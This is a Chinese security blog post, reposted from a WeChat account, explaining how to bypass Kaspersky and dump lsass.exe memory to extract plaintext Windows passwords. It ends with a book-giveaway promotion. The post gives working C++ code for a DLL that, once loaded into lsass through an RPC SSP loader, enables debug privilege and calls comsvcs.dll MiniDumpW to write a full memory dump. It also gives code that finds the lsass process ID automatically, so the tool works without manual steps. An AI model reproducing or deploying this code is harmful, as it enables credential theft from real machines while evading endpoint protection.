【文末抽书】绕过卡巴斯基dump进程lsass.exe内存

admin 2022年3月28日20:41:24评论2 views字数 4669阅读15分33秒阅读模式
  • 1:简介

  • 2:流程

    • 2.1:编译XPN大牛的代码

    • 2.2:实现dump内存代码

    • 2.3:自动获取lsass.exe进程的pid

    • 3:效果

1:简介

起因是前两天看到QAX-Ateam的一篇关于渗透的文章《这是一篇“不一样”的真实渗透测试案例分析文章》:
https://blog.ateam.qianxin.com/post/zhe-shi-yi-pian-bu-yi-yang-de-zhen-shi-shen-tou-ce-shi-an-li-fen-xi-wen-zhang/
里面提到了学习XPN大牛的方法,绕过卡巴斯基的防护机制成功dump进程lsass.exe的内存,再将其下载到本地完成抓取明文密码的工作。
本文简单将其过程做梳理,方便使用,原理方面推荐看如下几篇文章:

(1)XPN大佬的英文原文:https://blog.xpnsec.com/exploring-mimikatz-part-2/
(2)安全客的翻译文章:https://www.anquanke.com/post/id/180001

(3)n1nty大牛的内容:https://www.anquanke.com/post/id/180001

(4)3gstudent大牛的文章:https://3gstudent.github.io/

基本上看完这四篇文章,不能完全理解也能懂个大概,由于涉及内容相对深入一点,我觉得初学者就记得一个点就好:用这种办法可以绕过卡巴斯基的防护,成功dump进程lsass.exe的内存,完成明文密码抓取工作。用Ateam文章的说法就是“加载dll到lsass进程然后,让lsass.exe读自己的内存完成dump工作”。:)

2:流程

2.1:编译XPN大牛的代码

XPN大牛写了使用RPC控制lsass加载SSP的代码,这里不做过多介绍:
代码地址:https://gist.github.com/xpn/c7f6d15bf15750eae3ec349e7ec2380e
这里我们要做的只是将三个文件下载到本地,使用visual studio进行编译即可。笔者使用visual studio 2019,修改了几个小地方
(1)添加如下代码

#pragma comment(lib, "Rpcrt4.lib")

(2)将两个文件的后缀名从.c改成.cpp
(3)编译时选择X64
编译XPN大牛代码得到文件:ssp_rpc_loader.exe

2.2:实现dump内存代码

正如Ateam文章中提到,有了这个exe文件,自己再用代码实现dump内存即可,这里直接放Ateam大佬们的代码:
#include <cstdio>#include <windows.h>#include <DbgHelp.h>#include <iostream>#include <TlHelp32.h>#pragma comment(lib,"Dbghelp.lib")typedef HRESULT(WINAPI* _MiniDumpW)(    DWORD arg1, DWORD arg2, PWCHAR cmdline);typedef NTSTATUS(WINAPI* _RtlAdjustPrivilege)(    ULONG Privilege, BOOL Enable,    BOOL CurrentThread, PULONG Enabled);int dump() {    HRESULT             hr;    _MiniDumpW          MiniDumpW;    _RtlAdjustPrivilege RtlAdjustPrivilege;    ULONG               t;    MiniDumpW = (_MiniDumpW)GetProcAddress(        LoadLibrary(L"comsvcs.dll"), "MiniDumpW");    RtlAdjustPrivilege = (_RtlAdjustPrivilege)GetProcAddress(        GetModuleHandle(L"ntdll"), "RtlAdjustPrivilege");    if (MiniDumpW == NULL) {        return 0;    }    // try enable debug privilege    RtlAdjustPrivilege(20, TRUE, FALSE, &t);    wchar_t  ws[100];    swprintf(ws, 100, L"%hs", "784 c:\1.bin full"); //784是lsass进程的pid号  "<pid> <dump.bin> full"     MiniDumpW(0, 0, ws);  return 0;}BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved) {  switch (ul_reason_for_call) {  case DLL_PROCESS_ATTACH:    dump();    break;  case DLL_THREAD_ATTACH:  case DLL_THREAD_DETACH:  case DLL_PROCESS_DETACH:    break;  }  return TRUE;}
注意:在pid那个地方,这里应该输入对方电脑上lsass.exe进程的pid,所以要先确认pid,再编译这样才能准确dump进程lsass.exe的内存。
再来简单说一下代码原理,就是使用comsvcs.dll的导出函数MiniDumpW来实现dump内存,有兴趣的朋友可以自己实现以下,也可以调用MiniDumpWriteDump()实现,函数原型:
BOOL MiniDumpWriteDump(  HANDLE                            hProcess,  DWORD                             ProcessId,  HANDLE                            hFile,  MINIDUMP_TYPE                     DumpType,  PMINIDUMP_EXCEPTION_INFORMATION   ExceptionParam,  PMINIDUMP_USER_STREAM_INFORMATION UserStreamParam,  PMINIDUMP_CALLBACK_INFORMATION    CallbackParam);
有大牛写了代码,作为懒人就直接抄就好啦。

2.3:自动获取lsass.exe进程的pid

如2.2写的那样,这个代码有个缺点,就是需要每次先去找对方电脑lsass.exe进程的pid,而且每用一次就要编译一次,这就比较麻烦。那懒散的安全工程师肯定要改改代码。

既然我们的目标是针对lsass.exe进程,那我们只需要加上动态获取lsass.exe进程pid的代码即可。
代码如下:

#include <iostream>  #include <string>  #include <map>  #include <windows.h>  #include <TlHelp32.h> using namespace std;int FindPID(){    PROCESSENTRY32 pe32;    pe32.dwSize = sizeof(pe32);    HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);    if (hProcessSnap == INVALID_HANDLE_VALUE) {        cout << "CreateToolhelp32Snapshot Error!" << endl;;        return false;    }    BOOL bResult = Process32First(hProcessSnap, &pe32);    while (bResult)    {        if (_wcsicmp(pe32.szExeFile , L"lsass.exe") == 0)        {            return pe32.th32ProcessID;        }        bResult = Process32Next(hProcessSnap, &pe32);    }    CloseHandle(hProcessSnap);    return -1;}int main(){    cout << FindPID();    return 0;}
我们接下来要做的就是把2.2代码和2.3代码写进一个文件,修改少许,然后编译成dll即可。

3:效果

用一张图来概括吧:
注意点也如图,dll需要写绝对路径,至于1.bin文件位置,文件名去2.2修改代码即可

【文末抽书】绕过卡巴斯基dump进程lsass.exe内存

结束:)
原文链接:https://blog.csdn.net/xiangshen1990/article/details/104872566

赠书福利

【文末抽书】绕过卡巴斯基dump进程lsass.exe内存

一:芯片战争

今天我们很容易发现,不断升温的中美科技博弈,最核心问题就在于芯片。一枚小小的芯片,究竟为何会变成制约中国科技发展的最关键因素?环绕在中国外围的半导体封锁,究竟是如何一步步发展到了今天的情况?另一方面,芯片产业本身特质是高投入、高度集成化、全产业链分配。这些特质导致芯片产业必然不断发生旧秩序损坏与新规则建立,换言之,在芯片领域,“战争”是常态,而“和平共处”非常稀少。如果我们能读懂历史上已经发生的芯片战争与芯片博弈,那么也将能以最高效率找到今天中国芯片的突围方向。将历史经验与今天的情况结合,或许会发现,我们此刻正身处一场从未停止过的“芯片战争”。本书主要内容包括:第一章 技术变局;第二章 区位博弈;第三章 公司征伐;第四章 突围战争;第五章 中国底牌,后记:中国半导体的集群进攻时?

二:Vue.js框架与Web前端开发从入门到精通

本书从Vue.js框架技术的基础概念出发,逐步深入Vue.js进阶实战,并在最后配合一个网站项目和一个后台系统开发实战案例,重点介绍了使用Vue.js+axios+ElementUI+wangEditor进行前端开发和使用组件进行Vue单页面网页复用,让读者不但可以系统地学习Vue.js前端开发框架的相关知识,而且还能对业务逻辑的分析思路、实际应用开发有更为深入的理解。

三:机器学习数学基础(Python语言实现)

本书是一本系统介绍机器学习所涉及的数学知识和相关Python编程的实例工具书,同时还介绍了很好经典的综合案例,除了编写机器学习的代码,还编写了深度学习的代码。本书一共分为两部分。

部分为数学基础知识部分,包含 8个章节,介绍了微积分、线性代数、概率统计、信息论、模糊数学、随机过程、凸优化和图论的系统知识体系及几个数学知识点对应的Python编程实例。通过这些实例,读者能够了解Scikit-learn、Scikit-fuzzy、Theano、SymPy、NetworkX和CVXPY中相应的库函数的应用。

第二部分为案例部分,包含4个章节,介绍了微积分、线性代数和概率统计问题的建模方法、求解流程和编程实现,以及工业生产领域的Python实战,包含了机器学习算法和深度学习PyTorch框架的应用。

赠书规则

     为了感谢大家一直以来的关注与支持,会有四书籍免费赠送【文末抽书】绕过卡巴斯基dump进程lsass.exe内存

     规则如下:

     1.  本文末点‘在看’,不需要转发朋友圈,点个‘在看’就可以。

     2. 私聊文末公众号发送“赠书”即可扫描参与抽奖,注意看是发送暗号“赠书”

     3. 中奖者不满足条件1,视为放弃中奖资格。

     4. 活动截止时间为3月15日 17:00点,到时候还要中奖者及时联系号主发送你的中奖核验二维码、收货地址、姓名、手机号以及想要的书籍,好给您发送书籍哦!24小时内未联系号主视为自动放弃!骗书行为出版社会永久拉黑!

先点“再看”,然后点击下方公众号私聊发送“赠书” 即可马上扫描参与抽奖【文末抽书】绕过卡巴斯基dump进程lsass.exe内存

原文始发于微信公众号(LemonSec):【文末抽书】绕过卡巴斯基dump进程lsass.exe内存

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月28日20:41:24
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【文末抽书】绕过卡巴斯基dump进程lsass.exe内存https://cn-sec.com/archives/847120.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息